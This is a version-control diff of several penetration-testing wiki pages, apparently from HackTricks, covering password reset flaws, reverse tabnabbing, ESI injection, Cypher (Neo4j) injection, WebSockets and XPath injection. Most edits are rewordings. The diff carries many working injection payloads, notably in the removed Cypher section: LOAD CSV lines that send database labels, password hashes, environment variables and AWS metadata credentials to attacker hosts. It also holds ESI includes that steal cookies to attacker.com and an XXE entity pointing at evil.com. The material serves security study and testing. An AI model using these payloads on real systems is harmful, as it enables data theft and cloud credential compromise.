- Conduct input validation and enforce length limits to prevent abuse.
## **Session Invalidation in Logout/Password Reset**
* Reset tokens should have an expiration time after which they become invalid.
* **Mitigation Steps**:
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
# References
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)

View file

@ -30,13 +30,13 @@ However, note that as the **attacker now can control the window object of the or
Link between parent and child pages when prevention attribute is not used:
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## Without back link
Link between parent and child pages when prevention attribute is used:
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## Examples <a href="#examples" id="examples"></a>
@ -81,17 +81,17 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
The malicious site can only access to the following properties from the **opener** javascript object reference (that is in fact a reference to a **window** javascript class instance) in case of **cross origin** (cross domains) access:
In the scenario where a **cross-origin** access occurs (access across different domains), the properties of the **window** JavaScript class instance, referred to by the **opener** JavaScript object reference, that can be accessed by a malicious site are limited to the following:
* `opener.closed`: Returns a boolean value indicating whether a window has been closed or not.
* `opener.frames`: Returns all iframe elements in the current window.
* `opener.length`: Returns the number of iframe elements in the current window.
* `opener.opener`: Returns a reference to the window that created the window.
* `opener.parent`: Returns the parent window of the current window.
* `opener.self`: Returns the current window.
* `opener.top`: Returns the topmost browser window.
- **`opener.closed`**: This property is accessed to determine if a window has been closed, returning a boolean value.
- **`opener.frames`**: This property provides access to all iframe elements within the current window.
- **`opener.length`**: The number of iframe elements present in the current window is returned by this property.
- **`opener.opener`**: A reference to the window that opened the current window can be obtained through this property.
- **`opener.parent`**: This property returns the parent window of the current window.
- **`opener.self`**: Access to the current window itself is provided by this property.
- **`opener.top`**: This property returns the topmost browser window.
If the domains are the same then the malicious site can access all the properties exposed by the [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) javascript object reference.
However, in instances where the domains are identical, the malicious site gains access to all properties exposed by the [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript object reference.
# Prevention
@ -99,7 +99,7 @@ Prevention information are documented into the [HTML5 Cheat Sheet](https://cheat
# References
{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)

View file

@ -16,7 +16,7 @@ Other ways to support HackTricks:
## Server Side Inclusion Basic Information
(Definition taken from [here](https://httpd.apache.org/docs/current/howto/ssi.html))
**(Introduction taken from [Apache docs](https://httpd.apache.org/docs/current/howto/ssi.html))**
SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
For example, you might place a directive into an existing HTML page, such as:
@ -109,7 +109,7 @@ hell<!--esi-->o
### ESI exploitation
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) has created a table to help us understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported. Let us provide some explanations regarding the column names of the below table first:
[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:
* **Includes**: Supports the `<esi:includes>` directive
* **Vars**: Supports the `<esi:vars>` directive. Useful for bypassing XSS Filters
@ -130,15 +130,13 @@ hell<!--esi-->o
The following ESI directive will load an arbitrary file inside the response of the server
```markup
```xml
<esi:include src=http://attacker.com/xss.html>
```
The file _http://attacker.com/xss.html_ may contain a XSS payload like `<script>alert(1)</script>`
#### Bypass client XSS protection
```markup
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
@ -150,7 +148,7 @@ Use <!--esi--> to bypass WAFs:
* Remote steal cookie
```markup
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
@ -160,16 +158,12 @@ Use <!--esi--> to bypass WAFs:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
```
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
* Full account takeover by reflecting cookies
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
#### Private Local File
Do not confuse this with a "Local File Inclusion":
@ -196,7 +190,7 @@ The following will add a `Location` header to the response
* Add header in forced request
```html
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
@ -208,13 +202,14 @@ The following will add a `Location` header to the response
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
```
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
#### CRLF in Add header (**CVE-2019-2438)**
```markup
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
@ -225,21 +220,21 @@ Host: anotherhost.com"/>
This will send debug information included in the response:
```markup
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
It is also possible to add \*\* **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** \*\* based ESI includes by specifying the `xslt` value to the _dca_ parameter. The following include will cause the HTTP surrogate to request the XML and XSLT file. The XSLT file is then used to filter the XML file. This XML file can be used to perform _XML External Entity (XXE)_ attacks. This allows attackers to perform SSRF attacks, which is not very useful since this must be performed through ESI includes, which is an SSRF vector itself. External DTDs are not parsed since the underlying library (Xalan) has no support for it. This means we cannot extract local files.
By specifying the `xslt` value for the _dca_ parameter, it is feasible to include **`eXtensible Stylesheet Language Transformations (XSLT)`** based ESI. The inclusion causes the HTTP surrogate to retrieve the XML and XSLT files, with the latter filtering the former. Such XML files are exploitable for _XML External Entity (XXE)_ attacks, enabling attackers to execute SSRF attacks. However, the utility of this approach is limited since ESI includes already serve as an SSRF vector. Due to the absence of support in the underlying Xalan library, external DTDs are not processed, preventing local file extraction.
```markup
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
The XSLT file:
XSLT file:
```markup
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

View file

@ -12,276 +12,7 @@
</details>
## Common Cypher Injections
The **MATCH** and **WHERE** statements are **common scenarios**.
When we have found an injection, the way to exploit it depends on the **location within the query**. Below is a table of different injection locations and exploitation examples:
| Injectable query | Injection |
| ------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- |
| `MATCH (o) WHERE o.Id='{input}'` | `' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //` |
| <p><code>MATCH (o) WHERE '{input}' = o.Id</code><br><code>MATCH (o) WHERE {input} in [different, values]</code></p> | `'=' {…} WITH 0 as _l00 RETURN 1 //` |
| `MATCH (o) WHERE o:{input}` | `a {…} WITH 0 as _l00 RETURN 1 //` |
| `` MATCH (o) WHERE o:`{input}` `` | ``a` {...} WITH 0 as _l00 RETURN 1 //`` |
| `MATCH (o {id:'{input}'})` | `'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //` |
| `MATCH (o:{input})` | `a) RETURN 1 UNION MATCH (n){...} RETURN 1//` |
| ``MATCH (o:`{input}`)`` | ``a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
| `MATCH (o)-[r {id:'{input}'})]-(o2)` | `'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//` |
| `MATCH (o)-[r:{input}]-(o2)` | `a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //` |
| ``MATCH (o)-[r:`{input}`]-(o2)`` | ``a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
Note the UNION statement:
1. The reason UNION is required is that if the MATCH statement doesn't return anything, the rest of the query won't run. So, all the nefarious things we might do there will simply not execute.
2. We add “RETURN 1” before the UNION so both parts return the same columns, which is required for the query to execute.
So, what's with the “WITH” statement?
Using WITH, we can drop all existing variables. This is important when we don't know what the query is (more on that later). If our payload accidentally tries to set a variable that already exists, the query will fail to run.
Naturally, if we know the query and the database, none of these techniques are required. We can even manipulate the returned data to in turn manipulate the process instead of just abusing the server.
## HTTP Exfiltration
It's possible to use the following method to exfiltrate information to the attacker controlled domain:
```sql
LOAD CSV FROM 'https://attacker.com/'
```
For example
```sql
// Injection in:
MATCH (o) WHEREo.Id='{input}' RETURN o
// Injection to get all the preocedures
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
```
## APOC
The first thing an attacker should check is **whether APOC is installed**. APOC (awesome procedures on Cypher) is an **extremely popular**, officially supported plugin for Neo4j that greatly enhances its capabilities. APOC adds many **additional functions and procedures** that developers can use in their environment. Attackers can use the various procedures and functions APOC offers to carry out more advanced attacks.
### Procedures to process data & send HTTP requests
* `apoc.convert.toJson` — converts nodes, maps, and more to JSON
* `apoc.text.base64Encode` — gets a string and encodes it as base64
It's possible to **set headers** and **send other methods** than GET. Examples:
{% code overflow="wrap" %}
```sql
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
```
{% endcode %}
### Procedures to eval queries
* `apoc.cypher.runFirstColumnMany` — a function that returns the values of the first column as a list
* `apoc.cypher.runFirstColumnSingle` — a function that returns the first value of the first column
* `apoc.cypher.run` — a procedure that runs a query and returns the results as a map
* `apoc.cypher.runMany` — a procedure that runs a query or multiple queries separated by a semicolon and returns the results as a map. The queries run in a different transaction.
## Extracting Information
### Server Version
One way to get the server version is to use the procedure `dbms.components()`
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
```
{% endcode %}
### Get running query
The easiest one is to use the procedure `dmbs.listQueries()`
{% code overflow="wrap" %}
```sql
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
```
{% endcode %}
In **Neo4j 5 `dbms.listQueries` was removed**. Instead, we can use “SHOW TRANSACTIONS”. There are two major limitations: **SHOW queries are not injectable**, and unlike `listQueries`, we can **only see the currently executed query** in the transaction and not all of them.
If **APOC** core is **installed**, we can use it to run SHOW TRANSACTIONS. If we run in the same transaction, only SHOW TRANSACTIONS will be returned instead of the query we are trying to see. We can use **`apoc.cypher.runMany`** to execute SHOW TRANSACTIONS, because unlike other apoc.cypher functions and procedures, it runs in a different transaction.
{% code overflow="wrap" %}
```sql
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
```
{% endcode %}
### Get labels
Using the built-in method **`db.labels`**, it is possible to list all existing labels.
{% code overflow="wrap" %}
```sql
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0
```
{% endcode %}
### Get properties of a key
The built-in function **`keys`** can be used to **list the keys of the properties** (This won't work if one of the fields is a list or a map.).
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
```
{% endcode %}
If APOC is available, there's a better way to do it using `apoc.convert.toJson`
```sql
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
```
### Get functions and procedures
Using the built-in procedures **`dbms.functions()`** and **`dbms.procedures()`** it's possible to list all functions and procedures.
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
```
{% endcode %}
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
```
{% endcode %}
These procedures **were removed in Neo4j 5.** Instead, we can use **`SHOW PROCEDURES`** and **`SHOW FUNCTIONS`.** SHOW queries cannot be injected.
If APOC core is installed, we can use any of the procedures or functions that execute queries to list functions and procedures.
```sql
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
```
```sql
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
```
### Get system database
The system database is a special Neo4j database that is not normally queryable. It contains interesting data stored as nodes:
* Databases
* Roles
* Users (including the hash of the password!)
Using APOC, it's possible to retrieve the nodes, including the hashes. Only admins can do this, but in the **free edition of Neo4j, there's only an admin user and no other users**, so it's not uncommon to find yourself running as an admin.
Use the procedure **`apoc.systemdb.graph()`** to retrieve the data.
{% code overflow="wrap" %}
```sql
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
```
{% endcode %}
Neo4j uses SimpleHash by Apache Shiro to generate the hash.
The result is stored as a comma-separated values string:
* Hashing algorithm
* Hash
* Salt
* Iterations
**For example:**
```plaintext
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
```
### **Get environment variables**
Using APOC, it is possible to retrieve the environment variable by using the procedure **`apoc.config.map()`** or **`apoc.config.list()`**.
These procedures can only be used if they are included in the list of unrestricted procedures in the conf file (dbms.security.procedures.unrestricted). This is more common than one might think, and Googling the setting name results in many sites and guides that advise adding the value “apoc.\*”, which allows all APOC procedures.
```sql
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
```
**Note:** in Neo4j5 the procedures were moved to APOC extended.
### AWS Cloud Metadata Endpoint
#### IMDSv1
{% code overflow="wrap" %}
```sql
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
```
{% endcode %}
#### IMDSv2
We need to **specify headers** and we need to **use methods other than GET**.
**`LOAD CSV`** can't do either of these things, but we can use **`apoc.load.csvParams`** to get the token and the role, and then **`apoc.load.jsonParams`** to get the credentials themselves. The reason we use csvParams is that the response is not a valid JSON.
{% code overflow="wrap" %}
```sql
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
```
{% endcode %}
#### Contact AWS API directly
{% code overflow="wrap" %}
```sql
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
```
{% endcode %}
* $data is formatted as %Y%m%dT%H%M%SZ
* $token is the token we got from the metadata server
* $signed\_token is calculated according to https://docs.aws.amazon.com/general/latest/gr/signing\_aws\_api\_requests.html
## WAF Bypass
### Unicode injection
In Neo4j >= v4.2.0, it's often possible to **inject Unicode using “\uXXXX”**. For example, you can use this method if the **server tries to remove characters** such as: , “, \` and so on.
This may not work if a letter follows the Unicode escape sequence. It's **safe to add a space** afterward or another Unicode notation.
For example, if the server removes single quotes, and the query looks like the following:
```sql
MATCH (a: {name: '$INPUT'}) RETURN a
```
It is possible to inject:
{% code overflow="wrap" %}
```sql
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
```
{% endcode %}
## References
Check the following blogs:
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)

View file

@ -16,7 +16,7 @@ Other ways to support HackTricks:
A tool to FUZZ web applications anywhere.
> Wfuzz has been created to facilitate the task in web applications assessments and it is based on a simple concept: it replaces any reference to the FUZZ keyword by the value of a given payload.
> [Wfuzz](https://github.com/xmendez/wfuzz) has been created to facilitate the task in web applications assessments and it is based on a simple concept: it replaces any reference to the FUZZ keyword by the value of a given payload.
## Installation

View file

@ -16,21 +16,21 @@ Other ways to support HackTricks:
## What are WebSockets
WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.\
WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data.
WebSocket connections are established through an initial **HTTP** handshake and are designed to be **long-lived**, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring **low latency or server-initiated communication**, such as live financial data streams.
### How are WebSocket connections established?
### Establishment of WebSocket Connections
(Here you will find a summary but a **more detailed guide about how a web socket connection** is created can be found [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
WebSocket connections are normally created using client-side JavaScript like the following:
A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
The **`wss`** protocol establishes a WebSocket over an encrypted **TLS** connection, while the **`ws`** protocol uses an **unencrypted** connection.
The `wss` protocol signifies a WebSocket connection secured with **TLS**, whereas `ws` indicates an **unsecured** connection.
To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:
During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples:
Browser sends a handshake request:
```javascript
GET /chat HTTP/1.1
@ -42,7 +42,7 @@ Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
If the server accepts the connection, it returns a WebSocket handshake response like the following:
Server's handshake response:
```javascript
HTTP/1.1 101 Switching Protocols
@ -51,18 +51,17 @@ Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
At this point, the network connection remains open and can be used to send WebSocket messages in either direction.
The connection remains open for message exchange in both directions once established.
**Note**
**Key Points of the WebSocket Handshake:**
Several **features** of the WebSocket **handshake** messages are worth noting:
- The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake.
- The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`.
- A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
- The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection.
* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate** that this is a **WebSocket handshake**.
* The **`Sec-WebSocket-Version`** request header specifies the **WebSocket protocol version** that the client wishes to use. This is typically `13`.
* The **`Sec-WebSocket-Key`** request header contains a Base64-encoded **random value**, which should be randomly generated in each handshake request.
* The **`Sec-WebSocket-Accept`** response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.
These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.
The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** (_It's not a CSRF token_).
### Linux console
@ -106,11 +105,9 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
## Cross-site WebSocket hijacking (CSWSH)
Also known as _cross-origin WebSocket hijacking_.\
**It is a** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **on a WebSocket handshake.**
**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures.
It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.\
An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application.
Attackers can exploit this by hosting a **malicious web page** that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.
### Simple Attack
@ -186,7 +183,7 @@ This vulnerability could allow you to **bypass reverse proxies restrictions** by
## References
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
<details>

View file

@ -29,81 +29,63 @@ Stay informed with the newest bug bounties launching and crucial platform update
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## **Basic Syntax**
## Basic Syntax
XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
An attack technique known as XPath Injection is utilized to take advantage of applications that form XPath (XML Path Language) queries based on user input to query or navigate XML documents.
Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
### Nodes Described
### Nodes
Expressions are used to select various nodes in an XML document. These expressions and their descriptions are summarized below:
| Expression | Description |
| ---------- | ----------------------------------------------------------------------------------------------------- |
| nodename | Selects all nodes with the name "nodename" |
| / | Selects from the root node |
| // | Selects nodes in the document from the current node that match the selection no matter where they are |
| . | Selects the current node |
| .. | Selects the parent of the current node |
| @ | Selects attributes |
- **nodename**: All nodes with the name "nodename" are selected.
- **/**: Selection is made from the root node.
- **//**: Nodes matching the selection from the current node are selected, regardless of their location in the document.
- **.**: The current node is selected.
- **..**: The parent of the current node is selected.
- **@**: Attributes are selected.
### **Examples:**
### XPath Examples
| Path Expression | Result |
| --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| bookstore | Selects all nodes with the name "bookstore" |
| /bookstore | Selects the root element bookstore**Note:** If the path starts with a slash ( / ) it always represents an absolute path to an element! |
| bookstore/book | Selects all book elements that are children of bookstore |
| //book | Selects all book elements no matter where they are in the document |
| bookstore//book | Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element |
| //@lang | Selects all attributes that are named lang |
Examples of path expressions and their results include:
### Predicates
- **bookstore**: All nodes named "bookstore" are selected.
- **/bookstore**: The root element bookstore is selected. It's noted that an absolute path to an element is represented by a path starting with a slash (/).
- **bookstore/book**: All book elements that are children of bookstore are selected.
- **//book**: All book elements in the document are selected, irrespective of their location.
- **bookstore//book**: All book elements that are descendants of the bookstore element are selected, no matter their position under the bookstore element.
- **//@lang**: All attributes named lang are selected.
| Path Expression | Result |
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| /bookstore/book\[1] | <p>Selects the first book element that is the child of the bookstore element.<strong>Note:</strong> In IE 5,6,7,8,9 first node is[0], but according to W3C, it is [1]. To solve this problem in IE, set the SelectionLanguage to XPath:</p><p>In JavaScript: xml.setProperty("SelectionLanguage","XPath");</p> |
| /bookstore/book\[last()] | Selects the last book element that is the child of the bookstore element |
| /bookstore/book\[last()-1] | Selects the last but one book element that is the child of the bookstore element |
| /bookstore/book\[position()<3] | Selects the first two book elements that are children of the bookstore element |
| //title\[@lang] | Selects all the title elements that have an attribute named lang |
| //title\[@lang='en'] | Selects all the title elements that have a "lang" attribute with a value of "en" |
| /bookstore/book\[price>35.00] | Selects all the book elements of the bookstore element that have a price element with a value greater than 35.00 |
| /bookstore/book\[price>35.00]/title | Selects all the title elements of the book elements of the bookstore element that have a price element with a value greater than 35.00 |
### Utilization of Predicates
### Unknown Nodes
Predicates are used to refine selections:
| Wildcard | Description |
| -------- | ---------------------------- |
| \* | Matches any element node |
| @\* | Matches any attribute node |
| node() | Matches any node of any kind |
- **/bookstore/book[1]**: The first book element child of the bookstore element is selected. A workaround for IE versions 5 to 9, which index the first node as [0], is setting the SelectionLanguage to XPath through JavaScript.
- **/bookstore/book[last()]**: The last book element child of the bookstore element is selected.
- **/bookstore/book[last()-1]**: The penultimate book element child of the bookstore element is selected.
- **/bookstore/book[position()<3]**: The first two book elements children of the bookstore element are selected.
- **//title[@lang]**: All title elements with a lang attribute are selected.
- **//title[@lang='en']**: All title elements with a "lang" attribute value of "en" are selected.
- **/bookstore/book[price>35.00]**: All book elements of the bookstore with a price greater than 35.00 are selected.
- **/bookstore/book[price>35.00]/title**: All title elements of the book elements of the bookstore with a price greater than 35.00 are selected.
### **Examples:**
### Handling of Unknown Nodes
| Path Expression | Result |
| --------------- | ------------------------------------------------------------------------ |
| /bookstore/\* | Selects all the child element nodes of the bookstore element |
| //\* | Selects all elements in the document |
| //title\[@\*] | Selects all title elements which have at least one attribute of any kind |
Wildcards are employed for matching unknown nodes:
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
- **\***: Matches any element node.
- **@***: Matches any attribute node.
- **node()**: Matches any node of any kind.
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Further examples include:
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
- **/bookstore/\***: Selects all the child element nodes of the bookstore element.
- **//\***: Selects all elements in the document.
- **//title[@\*]**: Selects all title elements with at least one attribute of any kind.
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Example
```markup
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
@ -324,11 +306,16 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
### Automatic tool
{% embed url="https://xcat.readthedocs.io/" %}
* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
## References
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
